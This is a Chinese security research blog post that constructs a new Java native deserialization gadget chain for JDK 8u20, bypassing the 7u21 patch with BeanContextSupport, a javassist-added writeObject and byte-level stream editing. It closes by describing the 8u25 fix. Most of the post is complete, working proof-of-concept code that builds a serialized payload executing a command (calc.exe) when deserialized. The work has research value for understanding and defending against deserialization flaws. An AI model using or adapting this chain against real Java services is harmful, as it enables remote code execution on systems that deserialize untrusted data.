原生反序列化链 jdk8u20 的新构造
本文首发于跳跳糖:https://tttang.com/archive/1729/
自己构造 jdk8u20 反序列化链子,构造思路比网上的大多数都简单很多,exp也更短
感觉和我之前那个 bypass __wakeup()
的 trick 异曲同工
jdk8u20 是对 jdk7u21 这条链的绕过
7u21 的修复:
参考 原生反序列化利用链 JDK7u21的修复过程,可以知道,反序列化的过程中:
sun.reflect.annotation.AnnotationInvocationHandler
的 equalsImpl()
,会调用 (Class<? extends Annotation>)this.type
的所有 DeclaredMethods
的 invoke()
,传入 (Object)var1
而 针对此 ,jdk 的修复方式,是在 AnnotationInvocationHandler
的 readObject()
方法中尝试将 this.type
转换成 AnnotationType
,如果转换失败,就 throw Exception (而不是 直接 return ):
值得注意的是 AnnotationInvocationHandler
的 readObject()
当中,除了第一行调用了 ObjectInputStream
的 defaultReadObject()
外,其他位置都没有再从 stream 中读内容,也就是说,在 throw Exception 之前,一个 AnnotationInvocationHandler
对象已经被完整构造好了。
8u20 绕过 7u21:
二重 try catch
demo :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package top.inhann;
public class Test { public static void main(String[] args) { try { try { int i = 1/0; }catch (Exception e){ throw new Exception("bitch"); } }catch (Exception e){ } System.out.println("fuck"); } }
|
运行结果,可以看到,有两层 try catch
,虽然里面一层在 catch
当中 抛出了异常,但是并没有影响程序的整体运行,最终 fuck
还是被打印了:
序列化数据中使用 Reference 的 demo
写一个 可以序列化的 Fuck 类:
1 2 3 4 5 6
| package top.inhann;
import java.io.Serializable;
public class Fuck implements Serializable { }
|
构造一个数组进行序列化,数组中的两个元素相同:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package top.inhann;
import ysoserial.Serializer;
import java.io.File; import java.io.FileOutputStream;
public class Test { public static void main(String[] args) throws Exception{ Fuck f = new Fuck(); Object[] l = {f,f}; byte[] ser = Serializer.serialize(l); writeFile(ser,"1.txt"); } public static void writeFile(byte[] content,String path) throws Exception{ File file = new File(path); FileOutputStream f = new FileOutputStream(file); f.write(content); f.close(); } }
|
用 zkar 查看序列化数据:
1
| .\zkar.exe dump --file D:\tmp\ysoserial-7\1.txt
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| @Magic - 0xac ed @Version - 0x00 05 @Contents TC_ARRAY - 0x75 TC_CLASSDESC - 0x72 @ClassName @Length - 19 - 0x00 13 @Value - [Ljava.lang.Object; - 0x5b 4c 6a 61 76 61 2e 6c 61 6e 67 2e 4f 62 6a 65 63 74 3b @SerialVersionUID - -8012369246846506644 - 0x90 ce 58 9f 10 73 29 6c @Handler - 8257536 @ClassDescFlags - SC_SERIALIZABLE - 0x02 @FieldCount - 0 - 0x00 00 []Fields []ClassAnnotations TC_ENDBLOCKDATA - 0x78 @SuperClassDesc TC_NULL - 0x70 @Handler - 8257537 @ArraySize - 2 - 0x00 00 00 02 []Values Index 0 TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 @ClassName @Length - 15 - 0x00 0f @Value - top.inhann.Fuck - 0x74 6f 70 2e 69 6e 68 61 6e 6e 2e 46 75 63 6b @SerialVersionUID - -2733006860490274390 - 0xda 12 68 bd 8f c5 89 aa @Handler - 8257538 @ClassDescFlags - SC_SERIALIZABLE - 0x02 @FieldCount - 0 - 0x00 00 []Fields []ClassAnnotations TC_ENDBLOCKDATA - 0x78 @SuperClassDesc TC_NULL - 0x70 @Handler - 8257539 []ClassData @ClassName - top.inhann.Fuck {}Attributes Index 1 TC_REFERENCE - 0x71 @Handler - 8257539 - 0x00 7e 00 03
|
可以看到,index 1 的元素在序列化数据中是 Reference 类型,通过 Handler 指向了 index 0 的元素
jdk7u21 的 poc 的重点
jdk7u21 的 poc ,参考 https://github.com/1nhann/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk7u21_my.java
经过调试,AnnotationInvocationHandler
对象的反序列化(即创建)的起点是 HashSet
的 readObject()
,在其中调用了个 s.readObject();
,尝试反序列化一个 proxy object :
回顾 java 动态代理 的基础知识可以知道,一个 Proxy 对象只有一个属性,名为 h
,类型为InvocationHandler
:
也就是说 jdk7u21 的核心触发点在于以下代码:
1 2 3 4
| for (int i=0; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); }
|
这个 for 循环有两次,第一次是通过 readObject()
构造一个 TemplatesImpl
,第二次是通过 readObject()
构造一个 proxy ,然后 put 这个 proxy ,而也就是这第二次的 put 触发了RCE。对于 jdk7u21 的修补,使得默认情况下,s.readObject()
返回一个 proxy 变得不可能。
梳理绕过思路
结合序列化中 Reference 的特性,很容易想到, 让上面的 for 循环运行3次(也就是 s.readObject()
运行三次),第一次构建 AnnotationInvocationHandler
,第二次和原来一样,构造一个 TemplatesImpl
, 第三次和原来差不多,只不过用 TC_REFERENCE
让 proxy 的 h
指向第一次构建的 AnnotationInvocationHandler
所以需要找一个 readObject()
,在当中调用了类似这样的代码:
1 2 3 4 5
| try{ s.readObject(); }catch(Exception e){ }
|
寻找合适的 gadget :
根据网上资料,使用 java.beans.beancontext.BeanContextSupport
,这个类的 readObject()
,调用了 readChildren(ois);
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
synchronized(BeanContext.globalHierarchyLock) { ois.defaultReadObject();
initialize();
bcsPreDeserializationHook(ois);
if (serializable > 0 && this.equals(getBeanContextPeer())) readChildren(ois);
deserialize(ois, bcmListeners = new ArrayList(1)); } }
|
看下 readChildren()
,可以看到调用了 ois.readObject();
:
构造 8u20 的 poc :
poc1 ,遇到报错
基于 7u21 的 poc ,把 BeanContextSupport
对象放到 map 中的第一个位置罢了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package top.inhann; import ysoserial.Deserializer; import ysoserial.Serializer; import ysoserial.payloads.util.Gadgets; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates; import java.beans.beancontext.BeanContextSupport; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.LinkedHashSet;
public class Poc { public static void main(String[] args) throws Exception{ TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");
InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class,new HashMap<>()); Reflections.setFieldValue(ih,"type", Templates.class); Templates proxy = Gadgets.createProxy(ih,Templates.class);
BeanContextSupport b = new BeanContextSupport(); Reflections.setFieldValue(b,"serializable",1); HashMap tmpMap = new HashMap<>(); tmpMap.put(ih,null); Reflections.setFieldValue(b,"children",tmpMap);
LinkedHashSet set = new LinkedHashSet(); set.add(b); set.add(templates); set.add(proxy);
HashMap hm = new HashMap(); hm.put("f5a5a608",templates); Reflections.setFieldValue(ih,"memberValues",hm);
byte[] ser = Serializer.serialize(set); Deserializer.deserialize(ser);
} }
|
但是运行这个 poc 会报错:
经过调试,问题的根源在于 BeanContextSupport
调用 deserialize()
,在其中调用了 ois.readInt();
,这个位置发出了报错:
这个错误的根源可以追溯到 ObjectInputStream
的 readBlockHeader()
,在其中判断了下 defaultDataEnd
的值,如果为 true 就返回 -1 :
而为了 defaultDataEnd
为 false ,可以来到 AnnotationInvocationHandler
调用 defaultReadObject()
的时候,在里面判断了下是否有自定义的 writeObject 方法,如果没有就将 defaultDataEnd
赋值为 true :
所以可以 用 javassist 给 AnnotationInvocationHandler
加一个 writeObjecct()
方法
poc2 ,还是遇到报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package top.inhann;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import ysoserial.Deserializer; import ysoserial.Serializer; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates; import java.beans.beancontext.BeanContextSupport; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.LinkedHashSet;
public class Poc { public static Class newInvocationHandlerClass() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS); CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" + " os.defaultWriteObject();\n" + " }",clazz); clazz.addMethod(writeObject); return clazz.toClass(); }
public static void main(String[] args) throws Exception{ TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");
Class ihClass = newInvocationHandlerClass(); InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());
Reflections.setFieldValue(ih,"type", Templates.class); Templates proxy = Gadgets.createProxy(ih,Templates.class);
BeanContextSupport b = new BeanContextSupport(); Reflections.setFieldValue(b,"serializable",1); HashMap tmpMap = new HashMap<>(); tmpMap.put(ih,null); Reflections.setFieldValue(b,"children",tmpMap);
LinkedHashSet set = new LinkedHashSet(); set.add(b); set.add(templates); set.add(proxy);
HashMap hm = new HashMap(); hm.put("f5a5a608",templates); Reflections.setFieldValue(ih,"memberValues",hm);
byte[] ser = Serializer.serialize(set); Deserializer.deserialize(ser); } }
|
但是运行之后还是报错:
经过调试,问题的根源还是在于 BeanContextSupport
调用 deserialize()
,在其中调用了 ois.readInt();
,这个位置发出了报错:
本该是读到一个 int 的地方,读到的却是 TC_ENDBLOCKDATA
标志:
把 序列化数据保存成文件,根据此时 指针在 stream 中的位置,可以用 python 处理一下,定位到那个地方:
参考 https://github.com/1nhann/java_ser_format,可以看到,`7870` 之后就是 block data ,是要读的 int 的内容,所以直接把 7870
删了就可以了
poc ,最终版本
比网上大多数 exp 都短得多。。。
生成 ser.txt
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package top.inhann;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import ysoserial.Serializer; import ysoserial.payloads.util.ByteUtil; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.ReadWrite; import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates; import java.beans.beancontext.BeanContextSupport; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.LinkedHashSet;
public class Poc { public static Class newInvocationHandlerClass() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS); CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" + " os.defaultWriteObject();\n" + " }",clazz); clazz.addMethod(writeObject); return clazz.toClass(); }
public static void main(String[] args) throws Exception{ TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");
Class ihClass = newInvocationHandlerClass(); InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());
Reflections.setFieldValue(ih,"type", Templates.class); Templates proxy = Gadgets.createProxy(ih,Templates.class);
BeanContextSupport b = new BeanContextSupport(); Reflections.setFieldValue(b,"serializable",1); HashMap tmpMap = new HashMap<>(); tmpMap.put(ih,null); Reflections.setFieldValue(b,"children",tmpMap);
LinkedHashSet set = new LinkedHashSet(); set.add(b); set.add(templates); set.add(proxy);
HashMap hm = new HashMap(); hm.put("f5a5a608",templates); Reflections.setFieldValue(ih,"memberValues",hm);
byte[] ser = Serializer.serialize(set);
byte[] shoudReplace = new byte[]{0x78,0x70,0x77,0x04,0x00,0x00,0x00,0x00,0x78,0x71};
int i = ByteUtil.getSubarrayIndex(ser,shoudReplace); ser = ByteUtil.deleteAt(ser,i); ser = ByteUtil.deleteAt(ser,i);
ReadWrite.writeFile(ser,"ser.txt"); } }
|
不能直接 Deserializer.deserialize(ser)
, 除非 redefine 了 AnnotationInvocationHandler
,否则会报错
进行反序列化:
1 2 3 4 5 6 7 8 9 10
| package top.inhann;
import ysoserial.Deserializer; import ysoserial.payloads.util.ReadWrite; public class Test2 { public static void main(String[] args) throws Exception{ byte[] bytes = ReadWrite.readFile("ser.txt"); Deserializer.deserialize(bytes); } }
|
整合进 ysoserial
https://github.com/1nhann/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk8u20_my.java
8u20 的修复
修复版本是 jdk8u25,位置在于 AnnotationInvocationHandler
类
可以查看下 AnnotationInvocationHandler
类的历史:
1
| root@ubuntu:~/Repo_Proj/jdk8u332# git log -p ./jdk/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
|
在 77adec7be50392acc4a35c6f8da9c0b3340b8bd9
这个 commit 的位置,定义了一个 validateAnnotationMethods()
对于反序列化的时候 this.type
所调用的方法做了限制:
jdk8u20 的时候:
jdk8u25 的时候:
给 getMemberMethods()
中加了一段:
1
| AnnotationInvocationHandler.this.validateAnnotationMethods(var1);
|
对能调用的方法做了黑白名单,对 return type 、method name 等,都做了限制,其中最直观的就是给调用的方法名做了限制,只能调用:
1 2 3
| toString() hashCode() annotationType()
|